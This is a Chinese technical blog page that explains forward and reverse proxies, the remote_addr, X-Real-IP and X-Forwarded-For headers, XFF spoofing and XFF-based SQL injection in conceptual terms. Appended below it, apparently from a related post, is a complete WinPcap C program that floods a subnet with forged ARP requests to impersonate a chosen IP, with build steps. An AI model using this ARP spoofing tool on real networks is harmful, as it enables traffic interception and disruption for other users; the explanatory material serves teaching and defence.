正向代理,反向代理及XFF

1.代理:

        代理可以理解为是一个服务器,它一般作为客户端和服务端的中介。没有代理的情况下客户端的请求直达服务端,而有代理时客户端和服务端的信息通过代理进行交互。就像大城市租房中介一样,租客和房东通过中介来交换信息。

2.正向代理:

        生活中常说的代理(如vpn)一般指正向代理,正向代理的目的一般是隐藏客户端。使用正向代理时客户端的请求全部由服务器代发。我们都知道一般情况下我们的电脑无法访问谷歌,但是如果有一个代理服务器可以访问google而我们也能访问到代理服务器,那么我们就可以使用它来作媒介访问谷歌。此时谷歌只能看到代理服务器,我们的真实ip被隐藏了起来。

        流程简单来看如下:

         一个代理服务器可以为多个服务端服务。

3.反向代理:

        和正向代理相反,反向代理的目的是隐藏服务端。一般当我们访问某度或者某宝的官网时,上面的url不是真实的服务端ip地址。它会将请求发给真实的服务器,然后真实的服务器也通过它与客户端进行交互。

        反向代理流程如下:

        客户端把消息发到代理服务器,代理服务器将消息传给真实服务器。

        正向代理和反向代理可以结合使用,当我们使用正向代理访问谷歌时,谷歌也在进行反向代理。此时流程如下:

 

         这样就做到了同时隐藏客户端和服务端的真实地址。

4.获取真实ip地址:

        我们在实际使用网络时可能经过多层代理,而有一些http头可以记录中间ip或者真实源ip。

4.1 remote_addr和X-Real-IP:

        remote_addr代表直接连接服务器的ip,如果客户端的消息没有经过任何代理传到服务器,那么服务器就会把remote_addr设为客户端的IP,如果使用了代理那么服务器的remote_addr会设为与服务器直连的代理ip。

        remote_addr几乎不可被伪造,因为它是直接从tcp连接的信息获取的,如果伪造那么这个tcp将无法建立(如果从中间的路由器来伪造ip还是有可能建立tcp的,不过这不属于应用层范畴)。

        x-real-ip是一个自定义http头,一般会被设置为emote_addr。它是一个自定义http头。它通常用来记录真实ip。因此x-real-ip也是记录直接连接的ip,因此当经过多级代理时只会记录倒数第二给代理服务器ip,如proxy1-3对应ip为ip1-3,那么最终传到真实服务器会记录ip2,因为ip已经是最后一个代理服务器,没有代理服务器会填它的ip,因此多层代理时 x-real-ip只会记录倒数第二给x-real-ip。但是如果只在proxy1开启x-real-ip,那么最终的http消息只会记录proxy1前也就是客户端的ip。

        一般x-real-ip也不可被伪造。

4.2 x-forwarded-for:

        x-forwarded-for简称XFF,是http协议的一个扩展头部,一般情况下这个头部需要手动开启。

        XFF的格式一般如下:

X-Forwarded-For: client_IP, proxy1_IP, proxy2_IP

        当代理服务器proxy1收到来自client的消息时会往该词条添加client的ip,proxy2收到来自proxy1的消息时会往该词条添加proxy1的ip,同理proxy3会添加proxy2的ip,如果此时proxy3是最后一个代理,直接发往真实的服务器,那么该词条将不会包含proxy3的ip。也就是说在一般情况下XFF不会记录与真实服务器直连的ip,只会记录所有间接相连的ip。

        假如ip为ip0的客户端需要经过proxy1-3三个代理服务器,且它们的ip为ip1-3,那么它们的开启关系对应的XFF内容如下:

#1.proxy1-3均开启XFF
X-Forwarded-For: ip0,ip1,ip2
#2.仅proxy1开启XFF
X-Forwarded-For: ip0
#3.仅proxy2开启XFF
X-Forwarded-For: ip1
#4.仅proxy3开启XFF
X-Forwarded-For: ip2
#5.仅proxy1-2开启XFF
X-Forwarded-For: ip0,ip1
#6.仅proxy1,proxy3开启XFF:
X-Forwarded-For: ip0,ip2
#7.仅proxy2-3开启XFF:
X-Forwarded-For: ip1,ip2

        可以看出XFF开启后代理服务器仅在该词条添加向自己发消息的ip。

4.3 XFF伪造:

        正常情况下有了XFF可以轻松找到每个中间地址,进而找到端地址,但是该消息可以被伪造。

        假定客户端ip为ip0,服务端需要进行两层反向代理,对应的地址为ip1,ip2。那么正常情况应该如下:

X-Forwarded-For: ip0,ip1

        但是假定客户端伪造了一个请求头,如下:

X-Forwarded-For: 假ip1,假ip2

        那么经过代理后就是这样的:

X-Forwarded-For: 假ip1,假ip2,ip0,ip1

         这样服务器就会拿到错误ip。此时由于反向代理服务器和真实服务器是一家,因此可以通过确定反向代理服务器的数量来从后向前找到ip0。也可以在proxy1处理时用remote_addr来覆盖收到的XFF头。

4.4 XFF注入:

        xff注入也是sql注入的一种。XFF注入原理是修改XFF头,使其带有SQL语句,然后对服务器的系统进行sql注入,使服务器执行自定义的SQL命令,从而可以查询网站数据库的信息或篡改删除网站数据库。

        xff防范与sql注入的防范类似,主要都是通过过滤敏感sql字符来实现的。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
//ArpCheat.h #ifndef MY_ARP_CHEAT_INCLUDE_H #define MY_ARP_CHEAT_INCLUDE_H //字节对齐必须是1 #pragma pack (1) struct ethernet_head { unsigned char dest_mac[6]; //目标主机MAC地址 unsigned char source_mac[6]; //源端MAC地址 unsigned short eh_type; //以太网类型 }; struct arp_head { unsigned short hardware_type; //硬件类型:以太网接口类型为1 unsigned short protocol_type; //协议类型:IP协议类型为0X0800 unsigned char add_len; //硬件地址长度:MAC地址长度为6B unsigned char pro_len; //协议地址长度:IP地址长度为4B unsigned short option; //操作:ARP请求为1,ARP应答为2 unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址 unsigned long sour_ip; //源IP地址:发送方的IP地址 unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址 unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址 unsigned char padding[18]; }; struct arp_packet //最终arp包结构 { ethernet_head eth; //以太网头部 arp_head arp; //arp数据包头部 }; #pragma pack () /** * 获得网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName); /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP); #endif //ArpCheat.cpp #include <stdio.h> #include <pcap.h> #include <conio.h> #include <packet32.h> #include <ntddndis.h> #include "ArpCheat.h" int main(int argc,char* argv[]){ pcap_if_t *alldevs; //全部网卡列表 pcap_if_t *d; //一个网卡 int inum; //用户选择的网卡序号 int i=0; //循环变量 pcap_t *adhandle; //一个pcap实例 char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区 unsigned char *mac; //本机MAC地址 unsigned char *packet; //ARP包 unsigned long fakeIp; //要伪装成的IP地址 pcap_addr_t *pAddr; //网卡地址 unsigned long ip; //IP地址 unsigned long netmask; //子网掩码 if(argc!=2){ printf("Usage: %s inet_addr\n",argv[0]); return -1; } //从参数列表获得要伪装的IP地址 fakeIp = inet_addr(argv[1]); if(INADDR_NONE==fakeIp){ fprintf(stderr,"Invalid IP: %s\n",argv[1]); return -1; } /* 获得本机网卡列表 */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* 打印网卡列表 */ for(d=alldevs; d; d=d->next) { printf("%d", ++i); if (d->description) printf(". %s\n", d->description); else printf(". No description available\n"); } //如果没有发现网卡 if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } //请用户选择一个网卡 printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); //如果用户选择的网卡序号超出有效范围,则退出 if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } /* 移动指针到用户选择的网卡 */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://" printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]); /* 打开网卡 */ if ( (adhandle= pcap_open(d->name, // name of the device 65536, // portion of the packet to capture 0, //open flag 1000, // read timeout NULL, // authentication on the remote machine errbuf // error buffer ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){ //得到用户选择的网卡的一个IP地址 ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; //得到该IP地址对应的子网掩码 netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; if (!ip || !netmask){ continue; } //看看这个IP和要伪装的IP是否在同一个子网 if((ip&netmask)!=(fakeIp&netmask)){ continue; //如果不在一个子网,继续遍历地址列表 } unsigned long netsize = ntohl(~netmask); //网络中主机数 unsigned long net = ip & netmask; //子网地址 for(unsigned long n=1; n<netsize; n++){ //第i台主机的IP地址,网络字节顺序 unsigned long destIp = net | htonl(n); //构建假的ARP请求包,达到本机伪装成给定的IP地址的目的 packet = BuildArpPacket(mac,fakeIp,destIp); if(pcap_sendpacket(adhandle, packet, 60)==-1){ fprintf(stderr,"pcap_sendpacket error.\n"); } } } return 0; } /** * 获得网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName){ static u_char mac[6]; memset(mac,0,sizeof(mac)); LPADAPTER lpAdapter = PacketOpenAdapter(pDevName); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { return NULL; } PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA)); if (OidData == NULL) { PacketCloseAdapter(lpAdapter); return NULL; } // // Retrieve the adapter MAC querying the NIC driver // OidData->Oid = OID_802_3_CURRENT_ADDRESS; OidData->Length = 6; memset(OidData->Data, 0, 6); BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData); if(Status) { memcpy(mac,(u_char*)(OidData->Data),6); } free(OidData); PacketCloseAdapter(lpAdapter); return mac; } /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP,unsigned long destIP) { static struct arp_packet packet; //目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF memset(packet.eth.dest_mac,0xFF,6); //源MAC地址 memcpy(packet.eth.source_mac,source_mac,6); //上层协议为ARP协议,0x0806 packet.eth.eh_type = htons(0x0806); //硬件类型,Ethernet是0x0001 packet.arp.hardware_type = htons(0x0001); //上层协议类型,IP为0x0800 packet.arp.protocol_type = htons(0x0800); //硬件地址长度:MAC地址长度为0x06 packet.arp.add_len = 0x06; //协议地址长度:IP地址长度为0x04 packet.arp.pro_len = 0x04; //操作:ARP请求为1 packet.arp.option = htons(0x0001); //源MAC地址 memcpy(packet.arp.sour_addr,source_mac,6); //源IP地址 packet.arp.sour_ip = srcIP; //目的MAC地址,填充0 memset(packet.arp.dest_addr,0,6); //目的IP地址 packet.arp.dest_ip = destIP; //填充数据,18B memset(packet.arp.padding,0,18); return (unsigned char*)&packet; } VC++ 6.0 中使用WinPcap 下载并安装WinPcap,安装之后在目录”C:\WINDOWS\system32“下WinPcap添加了Packet.dll、wpcap.dll。 增加WinPcap的include和lib路径: Tools→Options→Directories,其中include文件的路径增加WinPcap的include路径(其中有pcap.h等头文件),library文件的路径增加WinPcap的lib路径(其中有Packet.lib和wpcap.lib)。 增加项目的静态链接库: Project→Settings→Link→Object/library Modules,在文本框的末尾添加”wpcap.lib packet.lib ws2_32.lib“。 增加预编译信息: Project→Settings→C/C++→Preprocessor definitions,在文本框的末尾添加”WPCAP,HAVE_REMOTE“。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值